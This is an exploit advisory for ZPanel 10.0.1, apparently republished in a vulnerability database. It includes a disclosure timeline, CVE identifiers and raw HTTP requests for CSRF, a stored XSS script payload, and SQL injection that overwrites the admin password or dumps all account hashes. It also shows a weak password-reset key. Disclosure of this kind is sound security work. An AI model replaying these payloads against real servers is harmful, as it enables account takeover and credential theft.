ZPanel <= 10.0.1 CSRF, XSS, SQLi, Password Reset

2014-07-01T00:00:00
ID SSV:76292
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                # Exploit Title: ZPanel <= 10.0.1 CSRF, XSS, SQLi, Password Reset
# Date: 04/11/2012
# Exploit Author: pcsjj
# Vendor Homepage: http://www.zpanelcp.com/
# Version: 10.0.1
# Software Link: http://sourceforge.net/projects/zpanelcp/files/latest/download
# Downloads: 90,382
# CVE : CVE-2012-5683 (CSRF), CVE-2012-5684 (XSS), CVE-2012-5685(SQL Injection), CVE-2012-5686 (Password Reset)
# I'm going to guess there are some more here.

# 10/30/2012 - Contacted  developers.
# 10/31/2012 - Developer states preference for reporting through bug tracker.
# 11/04/2012 - Developer confirms preference for reporting through bug tracker.
# 11/04/2012 - Vulnerability disclosed in bug tracker.

# Insufficient CSRF protection (CVE-2012-5683)
# All sensitive functions are lacking CSRF protection. One example below is
a request showing no authorization token is required for the creation of a
FTP user called "fun". This could also be used to deliver both XSS
(CVE-2012-5684) and SQLi (CVE-2012-5685) examples below.
#

http://192.168.1.100/?module=ftp_management&action=CreateFTP

POST /zpanel/?module=ftp_management&action=CreateFTP HTTP/1.1
Host: 192.168.1.100
Referer: http://192.168.1.100/?module=ftp_management
Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
inFTPUsername=fun&inPassword=fun&inAccess=RW&inAutoHome=2&inDestination=&inDestination=&inSubmit=

# Persistent XSS (CVE-2012-5684)
# The "inFullname" parameter is vulnerable to XSS. User's real name is not
being sanitized as it displayed within the control panel.
#

http://192.168.1.100/zpanel/?module=my_account&action=UpdateAccountSettings

POST /?module=my_account&action=UpdateAccountSettings HTTP/1.1
Host: 192.168.1.100
Referer:
http://192.168.1.100/zpanel/?module=my_account&action=UpdateAccountSettings
Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
inFullname=Admin%3Cscript%3Ealert%28/fun/%29%3C%2Fscript%3E&inEmail=admin%
40example.com&inPhone=101&inLanguage=en&inAddress=Home&inPostalCode=101

# SQL Injection (CVE-2012-5685)
# "inEmailAddress" parameter is vulnerable to SQL injection. Since the
injection point is in an UPDATE statement its trivial to manipulate the
content of the database. For instance the zadmin password could be changed
to password.(5f4dcc3b5aa765d61d8327deb882cf99)
#

http://192.168.1.100/?module=manage_clients&action=UpdateClient

POST /?module=manage_clients&action=UpdateClient HTTP/1.1
Host: 192.168.182.128
Referer: http://192.168.1.100/?module=manage_clients&show=Edit&other=5
Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
Content-Type: application/x-www-form-urlencoded
Content-Length: 257
inGroup=2&inPackage=2&inFullName=reseller&inEmailAddress=%27%2C+ac_pass_vc%3D%275f4dcc3b5aa765d61d8327deb882cf99%27%2C+ac_user_vc%3D%27zadmin%27+WHERE+ac_id_pk%3D1%3B--&inAddress=&inPostCode=&inPhone=101&inNewPassword=&inEnabled=1&inClientID=5&inSubmit=Save

# One more sqli example
# A user can extract data from db though an UPDATE statement by using a
subquery. As long as we update a field that is displayed back to us. To
reproduce this example you need to know your ClientID which can be found in
the referring page's url as the value of "other". In this example we use
the email field to hold the result of the subquery. Usually you can't
select from the table you're updating but by creating a temporary table
called "fun" we can avoid that. Using group_concat we get all columns and
all rows as a single string so that it all fits nicely in a single field.
#

http://192.168.1.100/?module=manage_clients&action=UpdateClient

POST /?module=manage_clients&action=UpdateClient HTTP/1.1
Host: 192.168.1.100
Referer: http://192.168.1.100/?module=manage_clients&show=Edit&other=5
#<!---- 5 is the Client ID or ac_id_pk
Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
Content-Type: application/x-www-form-urlencoded
Content-Length: 335
inGroup=2&inPackage=2&inFullName=reseller&inEmailAddress=reseller%
40example.com
%27%2C+ac_email_vc%3D%28select+group_concat%28ac_user_vc%2C+ac_pass_vc%29+from+%28select+*+from+x_accounts%29+as+fun%29+where+ac_id_pk%3D%275%27%3B--&inAddress=&inPostCode=&inPhone=%2B44%281473%29+000+000&inNewPassword=&inEnabled=1&inClientID=5&inSubmit=Save

# Password Reset Weakness, Insufficient entropy (CVE-2012-5686)
# "randomkey" is not sufficiently random. By knowing server time an
attacker could reset a password and guess the key within a relatively low
number of requests.  If the attacker can receive a password reset email for
any account on the system (demo account?) the number of attempts required
to guess reset key for another user (zadmin) can be greatly reduced.  Since
the zadmin default admin account is "hard coded" it is especially at risk
to this password reset weakness. If you change zadmin username in the
zpanel_core db my experience is that you cannot load zpanel control panel.
#

# ZPanel source code for [INSTALL_DIR]/inc/init.inc.php
 38    $randomkey = sha1(microtime());
 46      $zdbh->exec("UPDATE x_accounts SET ac_resethash_tx = '" .
$randomkey . "' WHERE ac_id_pk=" . $result['ac_id_pk'] . "");
 50      $phpmailer->Body = "Hi " . $result['ac_user_vc'] . ",
 51     You or somebody pretending to be you has requested a password reset
link to be sent for your web hosting control panel login at: " .
ctrl_options::GetOption('cp_url') . "
 52    If you wish to proceed with the password reset on your account
please use this link below to be taken to the password reset page.
 53    http://" . ctrl_options::GetOption('zpanel_domain') . "/?resetkey="
. $randomkey . "
 54     ";